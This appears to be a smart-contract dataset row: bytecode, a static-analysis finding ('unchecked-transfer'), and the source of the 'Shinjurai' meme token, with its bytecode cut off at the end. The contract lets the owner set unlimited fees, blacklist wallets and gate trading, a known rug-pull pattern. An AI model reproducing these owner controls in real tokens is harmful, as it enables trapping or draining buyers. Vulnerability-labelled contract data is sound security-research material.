5260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ea657600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee157600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110da57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611167576000905061147c565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111b6576000905061147c565b6000821180156111f257508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156114125761127d600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113456000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113cf6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149157fe5b818303905092915050565b60008082840190508381101515156114b057fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114f757600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156115465760009050611706565b60008211801561158257508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b1561169c576115cf6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611483565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116596000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361149c565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820229c27118ecd6aada69236541c0f10573cfddfedcd01df9cda5d1706672ff21f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,177 |
0xb03724bf241cc1755c8bc0d724514536a59b25ba
|
/*
Whales from both communities are joining to create Shinjurai.
So many tokens are being created involving Shinja but somehow no one is
mentioning Shiburai.
The top holder of Shiburai is the top holder of Shinja, so it was only a
matter of time before Shinjurai came to be.
https://t.me/Shinjurai
https://shinjurai.com
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Shinjurai is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Shinjurai";
string private constant _symbol = "SHINJURAI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 10;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x18d44906828973a9aA25e5967519dfcd7FD340a4);
address payable private _marketingAddress = payable(0x1F65F485D951aBF48EECC57b899a145406dcbe14);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104b457600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611963565b6105ff565b005b34801561020a57600080fd5b506040805180820190915260098152685368696e6a7572616960b81b60208201525b6040516102399190611a28565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a7d565b61069e565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa9565b6106b5565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611aea565b61071e565b34801561036d57600080fd5b506101fc61037c366004611b17565b610769565b34801561038d57600080fd5b506101fc6107b1565b3480156103a257600080fd5b506102c16103b1366004611aea565b6107fc565b3480156103c257600080fd5b506101fc61081e565b3480156103d757600080fd5b506101fc6103e6366004611b32565b610892565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611aea565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b17565b6108c1565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260098152685348494e4a5552414960b81b602082015261022c565b3480156104c057600080fd5b506101fc6104cf366004611b32565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b4b565b610938565b34801561050057600080fd5b5061026261050f366004611a7d565b610976565b34801561052057600080fd5b5061026261052f366004611aea565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b7d565b6109d7565b34801561058557600080fd5b506102c1610594366004611c01565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b32565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611aea565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c3a565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c6f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c9b565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611db5602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c3a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c3a565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c3a565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c3a565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c3a565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c3a565b60005b82811015610a72578160056000868685818110610a2357610a23611c6f565b9050602002016020810190610a389190611aea565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c9b565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c3a565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c3a565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611cb6565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611472565b600081848411156112155760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611cce565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d66114a0565b90506112e283826114c3565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c6f565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138557600080fd5b505afa158015611399573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bd9190611ce5565b816001815181106113d0576113d0611c6f565b6001600160a01b0392831660209182029290920101526014546113f69130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142f908590600090869030904290600401611d02565b600060405180830381600087803b15801561144957600080fd5b505af115801561145d573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147f5761147f611505565b61148a848484611533565b80610a7257610a72600e54600c55600f54600d55565b60008060006114ad61162a565b90925090506114bc82826114c3565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166a565b600c541580156115155750600d54155b1561151c57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154587611698565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157790876116f5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a69086611737565b6001600160a01b0389166000908152600260205260409020556115c881611796565b6115d284836117e0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164582826114c3565b82101561166157505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361168b5760405162461bcd60e51b81526004016106299190611a28565b5060006112228486611d73565b60008060008060008060008060006116b58a600c54600d54611804565b92509250925060006116c56114a0565b905060008060006116d88e878787611859565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117448385611cb6565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b60006117a06114a0565b905060006117ae83836118a9565b306000908152600260205260409020549091506117cb9082611737565b30600090815260026020526040902055505050565b6006546117ed90836116f5565b6006556007546117fd9082611737565b6007555050565b600080808061181e606461181889896118a9565b906114c3565b9050600061183160646118188a896118a9565b90506000611849826118438b866116f5565b906116f5565b9992985090965090945050505050565b600080808061186888866118a9565b9050600061187688876118a9565b9050600061188488886118a9565b905060006118968261184386866116f5565b939b939a50919850919650505050505050565b6000826118b8575060006106af565b60006118c48385611d95565b9050826118d18583611d73565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561195e8161193e565b919050565b6000602080838503121561197657600080fd5b823567ffffffffffffffff8082111561198e57600080fd5b818501915085601f8301126119a257600080fd5b8135818111156119b4576119b4611928565b8060051b604051601f19603f830116810181811085821117156119d9576119d9611928565b6040529182528482019250838101850191888311156119f757600080fd5b938501935b82851015611a1c57611a0d85611953565b845293850193928501926119fc565b98975050505050505050565b600060208083528351808285015260005b81811015611a5557858101830151858201604001528201611a39565b81811115611a67576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9057600080fd5b8235611a9b8161193e565b946020939093013593505050565b600080600060608486031215611abe57600080fd5b8335611ac98161193e565b92506020840135611ad98161193e565b929592945050506040919091013590565b600060208284031215611afc57600080fd5b81356112e28161193e565b8035801515811461195e57600080fd5b600060208284031215611b2957600080fd5b6112e282611b07565b600060208284031215611b4457600080fd5b5035919050565b60008060008060808587031215611b6157600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9257600080fd5b833567ffffffffffffffff80821115611baa57600080fd5b818601915086601f830112611bbe57600080fd5b813581811115611bcd57600080fd5b8760208260051b8501011115611be257600080fd5b602092830195509350611bf89186019050611b07565b90509250925092565b60008060408385031215611c1457600080fd5b8235611c1f8161193e565b9150602